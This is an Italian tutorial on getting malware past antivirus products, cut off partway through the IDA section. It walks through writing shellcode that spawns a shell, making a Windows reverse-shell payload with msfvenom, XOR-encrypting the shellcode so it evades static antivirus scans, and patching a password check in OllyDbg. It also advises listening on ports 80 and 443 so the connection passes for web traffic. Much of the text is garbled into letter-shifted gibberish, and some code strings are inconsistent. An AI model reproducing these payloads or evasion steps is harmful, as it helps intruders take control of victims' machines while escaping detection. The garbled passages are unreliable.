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Prefazione 
Da molti anni esiste una continuo conflitto tra sviluppatori di malware e di antivirus, gli uni che                                 
rincorrono gli altri.  
Purtroppo gli sviluppatori di malware riescono sempre ad avere la meglio e ad essere ad                             
almeno un passo più avanti di chi invece cerca di sviluppare software di sicurezza per diverse                               
piattaforme. 
In questo documento discuteremo principalmente il lavoro degli antivirus ed i vari controlli che                           
sono destinati a fare sui singoli file del nostro computer. Allo stesso tempo vedremo anche                             
qualche trucchetto per eludere questi controlli ed avere la meglio sui più comuni antivirus in                             
circolazione. 
 
L'obiettivo di questo lavoro è quello di comprendere il funzionamento degli AV, le diverse                           
vulnerabilità e ‘zone buie’ presenti all'interno degli stessi, inserendo anche qualche nozione sulle                         
difese implementate negli anni da parte dei sistemi operativi, sulla scrittura di uno shellcode e                             
su reverse-engineering. 
 
Per quanto riguarda la lettura di questo lavoro, infine, non sono richieste conoscenze particolari,                           
sebbene sia consigliabile una medio-bassa conoscenza riguardo assembly e C. 
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Shellcode 
Cos'è uno ​tifmmdpefç

Se dividiamo la parola, troviamo la parola ​tifmm (=terminale) e ​dpef (=codice). Da questo                           
potremmo dedurre che si tratti semplicemente un codice per una shell, o meglio, un codice per                               
eseguire una shell. Ed in effetti è così, anche se non del tutto.  
Se dovessimo dare una reale definizione di quello che è effettivamente uno shellcode,                         
dovremmo asserire che si tratta di una sequenza di istruzioni macchina da far eseguire in                             
successione al processore. 
Questa definizione deriva dal fatto che generalmente le istruzioni da far eseguire alla macchina                           
sono atte ad aprire una shell (remota o per ​qsjwjmfhf ftdbmbujpo​), ma allo stesso modo uno                  ç            
shellcode potrebbe avere come intento quello di modificare/eliminare file, scaricare da internet                       
un virus con dimensioni maggiori oppure fare qualsiasi altra cosa sia stato designato a fare. 
Da qui, la definizione più appropriata potrebbe essere più semplicemente ​tpnfdpef​, ma per                         
comodità utilizzeremo la parola shellcode.   
 
Come funziona la compilazione  

Quando scriviamo un programma in un linguaggio compilato, quale può essere d'esempio il C,                           
sappiamo che il nostro codice sorgente viene tradotto nel linguaggio più vicino alla macchina                           
(l'assembly), per poi essere eseguito nell'unico linguaggio che il computer realmente capisce,                       
ovvero il binario.  
Con questa brevissima spiegazione sul funzionamento dei linguaggi compilati, ci siam persi un                         
punto cruciale per capire il funzionamento dello shellcode, ovvero che ad ogni istruzione                         
assembly generata dal compilatore, appartiene a sua volta una rappresentazione esadecimale                     
(chiamata ​codice operativo​). 
Per comprendere meglio si veda l’esempio riportato di seguito:  
Un'operazione comune che possiamo trovare al disassemblamento di un programma è                     
l'operazione di ​yps​, spesso utilizzata per azzerare il valore di un registro (eseguendo la xor di se                                 
stessa, si ottiene 0 come risultato). 
 
Per i processori x86, l'istruzione di ​ypsç​è rappresentata da 
31 
di conseguenza,per azzerare il registro ​fbyçќçypsçfby-fbyç 
31 c0 
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Questo può essere definito l'ultimo step di 'traduzioni' da linguaggio compilato a linguaggio                         
binario, perché il computer interpreterà questo codice operativo traducendolo in binario. Avremo                       
dunque: 
ypsçfby-fby​ ќ ​42çd1​ ќ ​0011 0001 1100 0000 
rispettivamente assembly, codice operativo e binario. 
(​Joçrvftupçdbtpçrvftubçpqfsb{jpofçpddvqfsĄç3çczuf* 
ç
Detto questo, non dobbiamo necessariamente scrivere lo shellcode in codici operativi (o peggio                         
ancora in binario), ma utilizzando l'assembly, per poi andare successivamente a prendere i                         
rispettivi codici operativi tramite ​pckevnqç​(di cui si parlerà a breve). 
 
Scriviamo il primo shellcode 

Abbiamo ora tutte le conoscenze disponibili per sviluppare il nostro primo shellcode. 
Illustriamo adesso come sviluppare un semplice shellcode che ha l'obiettivo di spawnare una                         
shell.  
Andiamo adesso a scrivere quello di cui abbiamo bisogno in linguaggio C, utilizzando una                           
syscall (chiamata di sistema), ​fyfdwf)*/ 
Ci interessa conoscere ovviamente quello che questa syscall richiede come parametri, e il suo                           
funzionamento, e possiamo vedere il tutto illustrato qui sotto:  
 

 
 
Il primo parametro è un puntatore a caratteri, che dovrà contenere il nome del programma da                               
eseguire, mentre gli ultimi due sono puntatori a vettori di caratteri per passare parametri al                             
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programma (rispettivamente: il secondo per passare i parametri dall'interno del programma e il                         
terzo per le variabili d'ambiente). 
Noi avremo bisogno solamente del primo parametro, in quanto quello che a noi interessa è                             
spawnare una shell, senza bisogno di altri parametri. Ci occorre come primo parametro inserire                           
0cjo0ti ​(scrivendo su terminale /bin/sh verrà infatti spawnata una nuova shell) e i restantiç                          
parametri ​ovmm​; dunque il seguente programma in C farà esattamente quello che a noi interessa. 
 
#include​ ​<unistd.h> 
int​ main​()  
{ 

char​ ​*​ arg1​="/​bin​/​sh​"; 
execve​(​arg1​,​NULL​,​NULL​); 

} 
 
Quindi compiliamo il nostro sorgente : 

 
Ed eseguiamolo : 

 
Come possiamo osservare, è stata creata una nuova shell! Questo significa che il nostro codice                             
C funziona, ma ora arriva la parte più complicata: scrivere la stessa versione in assembly. 
Entrando nella logica di assembly sappiamo che le cose cambiano, e si complicano.  
Se conosciamo il funzionamento dello stack, sappiamo che utilizza una struttura LIFO (Last In                           
First Out) e ciò significa che, tradotto, l'ultimo ad entrare è di conseguenza il primo ad uscire.  
Utilizzeremo un interupt software per chiamare la nostra syscall e spawnare una shell. 
Per fare ciò, all'interno di un sistema OS X, dobbiamo rispettare una struttura ben precisa,                             
inserendo l'​pqdpef ​(codice operativo) all'interno del registro ​fby- ​e pushando i parametri che ci  ç           ç            
interessano nello stack da destra verso sinistra (quindi inserire l'ultimo parametro per primo e                           
così via fino ad arrivare al primo parametro, inserendolo per ultimo). 
In più, per eseguire correttamente l'interupt, dovremmo aggiungere 4 byte extra nello stack                         
(questo in ambienti OS X e FreeBSD). 
Dunque, ricapitolando, quello che dobbiamo fare è: 
 
1) Inserire il terzo parametro ќ ​ovmmç
2) Inserire il secondo parametro ќ ​ovmmç
4*ç​Inserire il primo parametro ќ '/bin/sh'ç
4) Inserire il codice operativo(opcode) di ​fyfdwf)*​ in ​fby​ ќ 0x3b (59 in decimale)ç
5) Aggiungere 4 extra byte allo stack 
6) Chiamare l'interupt software  
 
Dunque, al momento dell’interupt, lo stack dovrà essere come illustrato qui sotto: 
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Perfetto, possiamo ora sporcarci le mani con un po' di codice. 
Iniziamo con il primo problema, inserire la stringa '​0cjo0ti​' nello stack.  
Per fare ciò si utilizza un vecchio trucchetto del​çkvnqç'çdbmm;ç
jmp stringa 
main​:  
…… 
…… 
…… 
…… 
stringa: 
call main 
db ​'bin/bash'​,​0 ;​ inizializziamo la stringa ​in​ memoria ram 
 
In questa maniera, appena il codice inizierà, salterà subito a ​tusjohb​, che a sua volta chiama la                                 
routine principale, ​nbjo/ ​Facendo così,memorizza nello stack l'indirizzo di ritorno (l'istruzione    ç                
successiva al ​dbmmçnbjo​), che è proprio l'indirizzo che punta alla stringa '​0cjo0cbti(/ 
Tbqqjbnp che il primo parametro ('/bin/bash') deve essere passato per ultimo, salviamolo                       
quindi momentaneamente in ​fcy​; ci basterà dunque prelevare l'ultimo valore dello stack                       
(l'indirizzo di ritorno che punta alla stringa) tramite il ​qpq​, e, dal momento che dovremo salvare il                                 
primo parametro in ebx, scriveremo:  
 
jmp stringa 
main​:  
pop ebx ; salviamo in ebx l’indirizzo della stringa ‘/bin/sh’  
…. 
…. 
…. 
…. 
stringa: 
call main 
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db ​'bin/bash'​,​0 ;​ inizializziamo la stringa ​in​ memoria ram 
 
Prima di inserire il numero della syscall in ​fby​, ci assicuriamo che il registro (che dovremo                               
utilizzare successivamente) sia inizializzato con 0. 
 
jmp stringa 
main​:  
pop ebx ; ​salviamo ​in​ ebx l​'​indirizzo della stringa ​'/​bin​/​sh' 
xor eax​,​eax ;​ azzeriamo eax 
…. 
…. 
stringa: 
call main 
db ​'bin/bash'​,​0 ;​ inizializziamo la stringa ​in​ memoria ram 
 
Ora, come spiegato precedentemente, dovremmo inserire i parametri in maniera inversa,                     
inseriamo così dal terzo al primo parametro nello stack, e aggiungiamo i 4 byte extra che ci                                 
occorrono; per fare ciò sottrarremo 4 a ​ftq​. Questo registro (stack pointer) punta in cima allo                               
stack, e dato che lo stack si sposta verso il basso (verso indirizzi più bassi, come illustrato nella                                   
figura qua sotto), basterà sottrarre 4 a ​ftq​. 

 
 
E di conseguenza: 
 
jmp stringa 
main​:  
pop ebx ; ​salviamo ​in​ ebx l​'​indirizzo della stringa ​'/​bin​/​sh' 
xor eax​,​eax ;​ azzeriamo eax 
push 0x0 ; terzo parametro (null) 
push 0x0 ; secondo parametro (null) 
push ebx ; primo parametro (‘bin/sh’) 
sub esp,4 ; aggiungo 4 byte allo stack 
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…. 
…. 
 
stringa: 
call main 
db ​'bin/bash'​,​0 ;​ inizializziamo la stringa ​in​ memoria ram 
 
 
 
Perfetto, possiamo finalmente concludere il nostro codice, inseriamo in ​fby l’opcode (​0x3b​) e                         
lanciamo finalmente l’interupt software. 
 
jmp stringa 
main​:  
pop ebx ; ​salviamo ​in​ ebx l​'​indirizzo della stringa ​'/​bin​/​sh' 
xor eax​,​eax ;​ azzeriamo eax 
push 0x0 ; terzo parametro (null) 
push 0x0 ; secondo parametro (null) 
push ebx ; primo parametro (‘bin/sh’) 
sub esp,4 ; aggiungo 4 bytes allo stack 
add eax,0x3b ; inserisco in eax l’opcode di execve 
int 0x80 ;​ ​interupt 
 
stringa: 
call main 
db ​'bin/bash'​,​0 ;​ inizializziamo la stringa ​in​ memoria ram 
 
 
Ora il nostro assemblato è completo! 
Ci basterà assemblarlo con ​nbtn​: 

 
 
Linkarlo tramite ​me​: 

 
 
e finalmente eseguirlo: 

 
 
Come vediamo è stata spawnata una shell, proprio quello che a noi interessava. 
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Integriamo lo shellcode in un programma 

Ora che abbiamo creato il nostro shellcode, dovremmo andare a scriverlo in maniera da poterlo                             
integrare in un programma, dunque andare a prendere i rispettivi codici operativi del                         
disassemblato e inserirli in successione.  
Per prima cosa utilizzeremo ​puppm​ (oppure ​pckevnq​) per ottenere gli opcode che ci interessano. 
 

 
Jmçqbsbnfuspç.uçwjtvbmj{{bçmÒftbefdjnbmfçefmmbçtf{jpofç/ufyu 
 
Ora basterà prenderli nella sequenza con la quale sono visualizzati e inserirli come segue, in                             
maniera da poterli poi inserire in un array di caratteri (supponendo in C) ed andarli ad eseguire.  
ç
]y​e9​]y​1b​]y​00​ç\///^çç
oppure  
1y​e9​-ç1y​1b, ​1y​00 ​\///^ç
ç
 
 
 
Supponendo di voler utilizzare il primo approccio, avremo:  
 
\xe9\x​1b​\x​00​\x​00​\x​00​\x​5b​\x​31​\xc0\x​68​\x​00​\x​00​\x​00​\x​00​\x​68​\x​00​\x​00​\x​00​\x​00​\x​53​\x​05​\x​3b​\x​00​\x​00​\x​00​\x​81​\x
ec\x​04​\x​00​\x​00​\x​00​\xcd\x​80​\xe8\xe0\xff\xff\xff\x​2f​\x​62​\x​69​\x​6e​\x​2f​\x​73​\x​68​\x​00 
 
Volendo poi integrarlo in un programma in C, potremo creare un array di caratteri contenente lo                               
shellcode: 
 
unsigned​ ​char​ shellcode​[]= 
"​\xe9\x​1b​\x​00​\x​00​\x​00​\x​5b​\x​31​\xc0\x​68​\x​00​\x​00​\x​00" 
"​\x​00​\x​68​\x​00​\x​00​\x​00​\x​00​\x​53​\x​05​\x​3b​\x​00​\x​00​\x​00" 
"​\x​81​\xec\x​04​\x​00​\x​00​\x​00​\xcd\x​80​\xe8\xe0\xff\xff" 
"​\xff\x​2f​\x​62​\x​69​\x​6e​\x​2f​\x​73​\x​68​\x​00​"; 
 
Per eseguirlo: 
 
void​ executeShellcode​()​ { 
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(*​ ​(​int​(*)())​ shellcode​)(); 
} 
 
O più semplificata: 
 
void​ executeShellcode​()​ { 
void​ ​(*​fp​)();​ ​//function pointer 
fp​=​shellcode;  
fp​(); 
} 
 
Dunque un function pointer senza argomenti, viene assegnato l’indirizzo dello shellcode. 
 
 
 

Utilizziamo metasploit 

Quello che abbiamo visto finora era un semplice shellcode che potrebbe essere utilizzato per                           
qsjwjmfhf ftdbmbujpo​, quando dobbiamo invece instaurare una shell in remoto le cose siç                        
complicano ulteriormente. Per non divagare troppo sull’argomento oltre che per comodità                     
andremo a vedere l’utilizzo di ​ntgwfopn ​(tool contenuto nel progetto ​nfubtqmpju​, framework          ç            
dedicato al penetration-testing). 
 
L'obiettivo di questo tool, è quello di creare shellcode molto più complrddi che fanno fronte a                               
qualsiasi esigenza, riguardo a qualsiasi piattaforma.  
Noi supporremo di voler eseguire uno shellcode su un target Windows, indipendentemente se                         
32 o 64 bit, per instaurare una shell remota verso il nostro computer, in maniera da poterlo                                 
controllare remotamente.  
Utilizzeremo così, la classica ​sfwfstfçtifmm/ç
Il concetto di reverse shell è molto intuitivo: 
Anzichè essere noi a richiedere una shell verso la macchina vittima, sarà quest’ultima a                           
‘richiedere’ a noi di controllare una shell, riuscendo così ad eliminare ogni problema legato al                             
firewall, in quanto si limita, generalmente, al controllo del traffico ​jo.cpvoe (traffico che arriva                           
dall’esterno), a meno di regole aggiuntive. 
Per un reverse shell locale, ci sono molte meno complicazioni, nel caso si volesse fare tramite                               
IP pubblico, si dovrebbe tenere conto di più cose. Ad esempio, potrebbe essere utile analizzare                             
possibili regole di firewall,  analizzando il target con  OfuxpslçTdboofs​ come  1

onbq/ ​Inoltre, per destare meno sospetti, sarebbe ottimale mettersi in ascolto sulle porte 80 eç                            
443 (servono i permessimetto di root sulla macchina in ascolto), in maniera da mascherarsi ad                             
una eventuale analisi di rete , confondendosi con una semplice connessione HTTP/S. 

1 Network Scanner: tool dedicato all’analisi di rete. Generalmente utilizzato per conoscere i servizi in rete 
di un computer. 

13 
 



 

 
 

Di conseguenza, bisognerà, attraverso il router, permettere di accedere al listener tramite rete                         
pubblica.  
Questa tecnica è molto utilizzata, per il motivo che le vulnerabilità presenti all’interno delle reti                             
locali, sfruttate dai worm, sono diventate sempre più rare. Questa ‘carenza’ ha portato anche gli                             
stessi antivirus a non continuare gli sviluppi di analisi riguardanti il monitoraggio del traffico di                             
rete locale, rimanendo obsoleti e non aggiornati, portando con sé una buona fonte di                           
vulnerabilità. 
 
Premessa: ​Per fornire un esempio completo di immagini, è stato utilizzato Kali Linux su                           
VirtualBox. Kali è una distribuzione Linux con moltissimi tool pre-installati per ogni esigenza                         
nell’ambito del penetration-testing. Il Metasploit Framework è disponibile in free download su                       
Rapid7 per Windows e Linux, per maggiori informazioni ​iuuqt;00xxx/nfubtqmpju/dpn0​ç/çç
 
Dopo questa breve introduzione, iniziamo aprendo il terminale e digitiamo ​ntgwfopnç/ç
ç

 
Come output vedremo l’​vtbhf (come va eseguito il programma) e i parametri disponibili, con il                             
loro utilizzo è una breve spiegazione a riguardo. Come vediamo anche dall’output, msfvenom                         
rimpiazza i vecchi tool (oramai non più presenti nelle versioni più aggiornate di Kali Linux)                             
ntgqbzmpbeç​e ​ntgfodpef/ç 
 
Se siamo interessati ad avere una lista di payloads ed encoders, basterà richiamare il                           
programma con argomento ​--list ​(o più semplicemente ​-l ​* ​seguito da quello di cui abbiamo      ç         ç            
bisogno. Volessimo ad esempio vedere tutti i payload disponibili, basterà scrivere: 
ç
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ntgwfopnç..mjtuçqbzmpbetç
ç
Capito come si usa, andiamo a scrivere il nostro shellcode tramite msfvenom: 
 

 
 
Riporto anche una descrizione su quanto scritto: 

● Il parametro ​p indica il payload che ci interessa utilizzare. In questo caso abbiamo scelto                             
una ​sfwfstf`udq​ per Windows (per listare i payloads disponibili, basta vedere sopra). 

○ I successivi valori (rispettivamente ​LHOST e ​LPORT​) caratterizzano il payload.                   
Dunque il primo (​Listener Host​) è l’host di ascolto, andrà dunque messo                       
l’indirizzo IP (locale o pubblico, differentemente dalle necessità) del computer col                     
quale vorremmo avere accesso alla ​sfwfstf tifmm​. Nel caso l’attacco si svolga in          ç              
locale e noi siamo gli ipotetici attaccanti, basterà digitare ​jgdpogjh ​da terminale e                  ç      
prendere il proprio IP locale nell’interfaccia wireless.   
Listener Port ​è invece la porta di ascolto, ovvero dove successivamente ci                       
metteremo in ascolto in attesa della shell. 4444 è quella di default, ho messo                           
quella solo per il suo utilizzo standard.  

ǒ platfom ​specifica la macchina sulla quale verrà eseguito lo shellcode, Windows. 
ǒ arch specifica invece l’architettura. L’utilizzo dell'architettura x86 (32 bit) è per una                       

questione di portabilità, in quanto, grazie all’ereditarietà del ‘nuovo’ 64 bit, sarà                       
eseguibile su ambedue le architetture.  

ǒ f ​)gpsnbu* ​specifica il formato in cui lo vogliamo. A noi interesserà poi integralo in un                               
programma in C, dunque gli passeremo ​ÑdÒ ​come argomento. Si possono utilizzare altri            ç            
linguaggi (come python), come anche direttamente eseguibili (formati .​fyf​ ad esempio). 

● Infine salvo lo shellcode in un file ‘shellcode.txt’, in maniera da averlo direttamente                         
salvato sul computer.  

 
Il payload è 333 bytes. A noi essenzialmente non interessa in quanto lo dobbiamo integrare in                               
un programma, e di spazio ne abbiamo quanto desideriamo. Risulta invece molto più                         
determinante in altre applicazioni, come nei ​Dpef Dbwft ​(che tratteremo approfonditamente            ç ç      
nell’ultimo capitolo). 
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Dunque ora il nostro ​tifmmdpef/uyu​ conterrà lo shellcode:  
 

 
 
Perfetto, ora non resta che integrarlo in un programma (come visto sopra) e successivamente                           
criptarlo.  
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Codifichiamo il nostro shellcode 

La fase di criptaggio di uno shellcode, per passare inosservato all’​analisi statica degli AntiVirus                           
(che approfondiremo successivamente) è vitale. 
Giusto per introdurre l’argomento, l’analisi statica permette all’antivirus di scannerizzare il                     
binario del programma alla ricerca di ipotetici valori classificati come malware (dove sono                         
presenti e in continuo aggiornamento buona parte degli shellcode), nel caso questi siano                         
presenti, il file sarà segnalato come potenziale pericolo. 
Bypassare questo tipo di analisi è molto semplice in quanto, come introdotto dal titolo del                             
paragrafo, basterà criptare e successivamente decriptare il nostro shellcode. 
Il compito del criptaggio è quello di rendere ardua l’analisi da parte dell’AV e da                             
reverse-engineering (argomento del capitolo successivo). 
Dato che l’AV esegue controlli sui file presenti sull’hard disk, noi andremo a decriptare ed                             
eseguire lo shellcode direttamente in memoria RAM, zona in cui l’AntiVirus non ha possibilità di                             
analizzare (una volta eseguito); vediamo dunque come è possibile deciptare il nostro shellcode                         
in maniera da bypassare questo tipo di analisi. 
 
Per criptare il nostro shellcode utilizzeremo una XOR con 4 indici, che andrà a eseguire la ​yps di                                   
quest’ultimo utilizzando in successione i 4 indici presenti nella chiave specificata (che servirà                         
anche successivamente per decriptare lo shellcode). 
 
Ipotizziamo dunque una chiave simile:  
 
unsigned​ ​char​ key​[]={ 

0xcc​,​ ​0xfa​,​ ​0x1f​,​ ​0x3d 
}; 
 
Questa rappresentazione non è altro che un array di caratteri contenenti la chiave di                           
criptazione/decriptazione dello shellcode, composta da 4 indici. 
I 4 indici sono, in esadecimale: 
0xcc 
0xfa 
0x1f 
0x3d 
 
Per criptare il nostro shellcode è sufficiente un ciclo for su tutto l’array dello shellcode che                               
esegue la ​yps di esso, con indice for determinato dal resto tra la grandezza dello shellcode e                                 
l’indice ​j (risultato che sarà progressivo da 0 a 4, e reitererà questi valori fino alla fine dello                                   
shellcode). 

for​ ​(​ i​=​0​;​ i​<(​sizeof​(​shellcode​)-​1​)​ ​;​ i​=​i​+​1​){ 
shellcode​[​i​]=​shellcode​[​i​]^​key​[​i ​%​ ​sizeof​(​key​)]; 
} 
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Alla fine del ciclo, avremo l’array di caratteri dello shellcode criptato con la chiave specificata,                             
ora basterà aggiungere una funzione al nostro malware che prima di eseguire lo shellcode, lo                             
decript.  
 
void​ decode​()​ ​{ 

printf​(​"\nDecripto lo shellcode .... \n"​); 
for​ ​(​i​=​0​;​ i​<(​sizeof​(​shellcode​)-​1​);​ i​+=​1​) 

shellcode​[​i​]=​shellcode​[​i​]^​key​[​i​%​sizeof​(​key​)]; 
printf​(​"Shellcode decriptato !\n"​); 

} 
 
Dunque, prima di eseguire lo shellcode, bisognerà richiamare la seguente funzione: 
 
void​ executeShellcode​()​ { 
decode(); 
(*​ ​(​int​(*)())​ shellcode​)(); 
} 
 
Come abbiamo detto, questo metodo funziona egregiamente per bypassare l’analisi statica da                       
parte di AV ma non basterà per bypassarlo interamente, perché, come vedremo nel capitolo                           
dedicato, il malware fallirà al momento che l’AV simula in una Sand Box l’esecuzione del nostro                               
programma. 
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Reverse-engineering 
Concetto fondamentale 

Il reverse-engineering (letteralmente ​bobmjtj jowfstb​) permette di analizzare il funzionamento di      ç              
un programma andando a disassemblare e monitorare l’esecuzione di quest’ultimo.  
Quello che andremo a vedere sarà giusto una brevissima introduzione circa l’argomento, dal                         
momento che ne faremo uso più avanti per iniettare del nostro codice all’interno di un                             
programma, spacciandolo per normale.  
Il termine ​sfwfstf.fohjoffsjoh​, o ingegneria inversa, ha ambito non solo nel settore informatico;                         
basti pensare che fu utilizzato, e ancora tutt’oggi, in ambito militare, per capire gli attacchi del                               
nemico e migliorare i propri.  
Mi serve citare ​Xjljqfejb​ per far capire esattamente il suo significato:  
 
Ô​Jm qspdfttp ej ​reverse engineering dpotjtuf ofmm(bobmjtj efuubhmjbub efm gvo{jpobnfoup-ç ç ç   ç ç ç ç ç ç
qsphfuub{jpof f twjmvqqp ej vo phhfuup )ejtqptjujwp- dpnqpofouf ​fmfuusjdp​- nfddbojtnp- tpguxbsf-ç ç ç ç ç ç ç ç ç ç ç
fdd/* bm gjof ej qspevssf vo ovpwp ejtqptjujwp p qsphsbnnb dif bccjb vo gvo{jpobnfoup bobmphp-ç ç ç ç ç ç ç ç ç ç ç ç ç ç ç
nbhbsj njhmjpsboep p bvnfouboep m(fggjdjfo{b efmmp tufttp- ​senza in realtà copiare nienteç ç ç ç ç ç ç          
dall'originale​/Õç
ç
Ritornando all’ambito informatico, l’analisi inversa di un software richiede buona conoscenza                     
del linguaggio assembly, di programmazione e di logica, che con l’aiuto di tool creati ad-hoc,                             
permettono di risalire al dettagliato funzionamento del programma, fino ad arrivare ad una                         
rappresentazione ad alto livello di astrazione ​(e.g. pseudocodice​*/ 
L’applicazione di questo processo in ambito informatico è molto vasta, dal cheating in                         
videogame al bypassare controlli integrati nel programma (codici di verifica, password...). 
Per far capire meglio il concetto, e dato che successivamente ne faremo un piccolo uso (per                               
questo mi limiterò ad un esempio molto basilare) andremo a vedere l’utilizzo di OllyDbg e                             
qualche accenno su IDA 
 
 

OllyDbg 

OllyDbg è scaricabile dal sito ufficiale ​pmmzech/ef ​in versione gratuita, disponibile solamente per            ç            
Windows. 
Non è l’unico tool in grado di fare queste cose, ci sono molte alternative come ​XjoEch​, oppure                                 
IDA, quest’ultimo molto più professionale e completo, offrendo in più grafici e viste molto più                             
intuitive. Esso è però a pagamento, pur esistendo una versione free limitata.  
 
Senza dilungarci troppo, andiamo subito a vedere OllyDbg in azione! 
Scriviamo un semplice programma in C, che avrà le seguenti funzionalità: 
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1) Richiedere in input una password 
2) Confrontare la password in input con quella corretta del programma 
3) Dare 3 possibilità di errore per la password 

 
Il codice è il seguente:  
 
#include​ ​<stdio.h> 
#include​ ​<string.h> 
int​ main​() 
{ 

int​ i; 
char​ password​[​64​]; 
char​ passwordCorretta​[]=​"mhaaanz"; 
for​ ​(​i​=​0​ ​;​ i​<​3​ ​;​ i​+=​1​)​ { 
printf​(​"Inserisci password: "​); 
scanf​(​"%s"​,​password​); 
if​ ​(​strcmp​(​password​,​passwordCorretta​)​ ​==​ ​0​)​ { 

printf​(​"Password corretta!\n"​); 
i​=​3; 
return 0; 

} 
else​ { 

printf​(​"Pasword errata, riprovare\n"​); 
} 
} 

} 
 
Una volta compilato, andiamo a trascinare il nostro eseguibile in OllyDbg, e andiamo a vedere                             
quello che ci interessa per il nostro “lavoretto”: 

 
 
 
Questa è una parte di codice assembly del nostro programma, più nello specifico la parte che                               
interessa a noi (il ​nbjo​) nella quale possiamo vedere la rappresentazione ASCII di qualche                           
stringa, come  “​Jotfsjtdjçqbttxpse;Õç​oppure​çÔQbttxpseçdpssfuub"Õ​. 
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Sulla destra, possiamo vedere anche lo stato dei registri e delle flag, che ci torneranno molto                               
utili in fase di debug!  

 
 
Supponendo di conoscere le funzionalità del programma (avendolo scritto noi) possiamo subito                       
andare ad analizzare più nel dettaglio, andando a settare dei ​csfblqpjo​t. 
I breakpoint stoppano l’esecuzione del programma ad una determinata riga di codice, e ci                           
permettono così di andare a verificare, in quel preciso istante: lo stack, i registri e le flag. 
Per settarli basterà premere tasto destro sulla riga di codice di interesse > ​csfblqpjou > ​upphmf                               
csfblqpjou​ e l’indirizzo di memoria diventerà rosso:  

 
 
In questo caso ne abbiamo settati 3: 

1) Poco prima di chiamare la funzione di ​tusdnq 
2) Al ​uftu​ del registro eax 
3) Quando deve eseguire il ​knq​ in base al risultato  

 
Facciamo dunque partire il programma, e inseriamo una password di esempio: 
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Al momento del primo breakpoint (all’indirizzo ​1y11512668​) possiamo notare che quello che noi                         
abbiamo inserito come password (‘esempio’) si trova all’interno del registro eax: 

 
 
E che, come vediamo dall’istruzione precedente alla chiamata di ​tusdnq​, viene spostato il valore                           
di eax all’interno del segmento di memoria SS con offset di ESP (​Tubdl Qpjoufs​), senza                        ç    
addentrarci oltre, servirà poi alla funzione di comparazione.  
 
Mandando ancora il programma avanti al secondo breakpoint (ovvero al momento che la                         
tusdnq​ ha concluso) possiamo andare a vedere cosa contiene ​fby​ (dato che viene utilizzato). 
Ma prima di tutto, andiamo a vedere cosa fa ​uftu​: Esegue la AND tra due operatori, e quello che                                     
a noi interessa sapere, è che se il risultato è 0 setta la Zero Flag a 1, altrimenti la setta a 0. 
Riassumendo, forse più chiaramente, in pseudo-codice: 
risultato​=​A​&​B; 
if​ ​(​risultato ​=​ ​0​)  

ZeroFlag​=1 
else 

ZeroFlag​=0 
 
Dunque la AND tra lo stesso operatore ritornerà 0 solo se l’operatore vale 0. 
Difatto, quello che noi andiamo a fare in C, lo ritroviamo allo stesso modo (come è ovvio che                                   
sia) in assembly: 
 

if​ ​(​strcmp​(​password​,​passwordCorretta​)​ ​==​ ​0​) 
 

call strcmp 
test eax,eax  
jnz passwordErrata  ; Jump if Not Zero 
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Ritornando a noi, vediamo cosa contiene eax al momento del test:  

 
 
Abbiamo in ​fby 0xFFFFFFF, e nei registri ​fdy e ​fey rispettivamente la password corretta e quella                               
che abbiamo inserito noi. 
Dunque, al momento di ​uftu fby- fby la Zero Flag verrà settata a 0, perché la AND di 0xFFFFFFFF        ç ç                          
con se stesso ritorna se stesso. 
Mandando avanti il programma, ci troviamo alla condizione decisiva: 
JNZ (​KvnqçjgçOpuç[fsp​) salta all’indirizzo di memoria specificato se la ZeroFlag non è 0. 
Dunque la nostra condizione, se la password è errata, salterà all’indirizzo di memoria                         
1y1151268Cç​(password errata): 

 
Se salta a “password errata”, oltre a farci vedere la stringa, possiamo vedere che incrementa di                               
1 l’indice ​j del ciclo for (che si trova a ​ftq​+5C) e lo compara con 2 (in C la nostra condizione                                         
j=4*-ç​dopodichè​ salta in base al ris​ultato (JLE,​KvnqçjgçMfttçpsçFrvbm*/ç
ç
Altrimenti, se la nostra password è corretta, inseriamo all’indirizzo di [esp+5C], dove si trova il                             
nostro indice ​j​, il valore 3, inseriamo in ​fby il valore 0 per poi, al momento dell’uscita, far uscire il                                       
nostro programma con il valore 0 (=senza errori), corrispondente al return 0 del nostro sorgente. 
 
Con la password sbagliata, questo è infatti lo stato dei registri: 

 
E come vediamo la Zero Flag (la Z) è settata a 0. 
 
Se invece la nostra password è corretta: 

 
Il registro ​fby​ contiene 0, dunque la flag di zero sarà settata! 
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Il nostro obiettivo è ora quello di modificare il flow del programma, in maniera da bypassare il                                 
controllo della password, basterà quindi andare a cambiare la nostra istruzione di                       
comparazione, e qui possiamo avere più soluzioni: 

1) Sostituire JNZ con JZ  
2) Cambiare l’indirizzo di salto con 0x00402560 (​qbttxpseçdpssfuub* 
3) Sostituire con delle NOP 

 
Si possono utilizzare qualsivoglia delle 3, per facilità utilizziamo la terza! 
Tasto destro sull’istruzione > ​Bttfncmfç

 
 
 E scriviamo: 

 
 
Dopodichè clicchiamo su ​Bttfncmfçç
E il risultato sarà il seguente:  

 
Tf tj mbtdjb tqvoubup jm ÔGjmm xjui OPQÒtÕ wfssboop bhhjvouf ubouf opq jo cbtf bmmb hsboef{{bç ç ç ç ç ç ç ç ç ç ç ç ç ç ç ç
efmmÒjtusv{jpofçqsfdfefouf-çjoçrvftupçdbtpç3çczufç
ç
Dunque ora verrà eseguito lo ​tusdnq​, ma anziché il controllo le istruzioni di nop sled faranno da                                 
“scivolo” verso l’indirizzo ​1y512671​, dove risulta essere corretta la password! 
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 E il risultato sarà il seguente:  

 
FÒçtubupçbhhjvoupçepqpçjmçÑqsfnfsfç2ØÒçqfsdiċçtjçdijvefwbçtvcjupçjmçqsphsbnnbç
 
Qualsiasi password noi inseriamo, sarà sempre corretta!  

 

IDA 

IDA è un tool fondamentale per fare reverse-engineering. Come detto, essendo un tool                         
professionale, risulta essere a pagamento, ma sono disponibili anche versioni limitate in                       
distribuzione gratuita (direttamente dal sito ​ify.sbzt/dpn​). 
Questo tool permette di disassemblare un programma per andare ad eseguire dell’analisi                       
inversa sullo stesso, offrendo opzioni e feature molto avanzate, tanto che sul sito ufficiale viene                             
descritto così: 
“IDA is a Windows, Linux or Mac OS X hosted multi-processor disassembler and debugger that                             
offers so many features it is hard to describe them all​. Just grab an evaluation version if you                                   
want a test drive.” 
Quello che andremo a vedere, così come abbiamo visto per OllyDbg, sarà giusto un'infarinatura                           
delle potenzialità e degli usi di IDA, ma dato che risulta molto importante in questo ambito,                               
soprattutto per analizzare gli stessi AV, è giusto per lo meno parlarne.  
 
Prendiamo dunque un eseguibile e trasciniamo in IDA. Il programma che farà da esempio ha lo                               
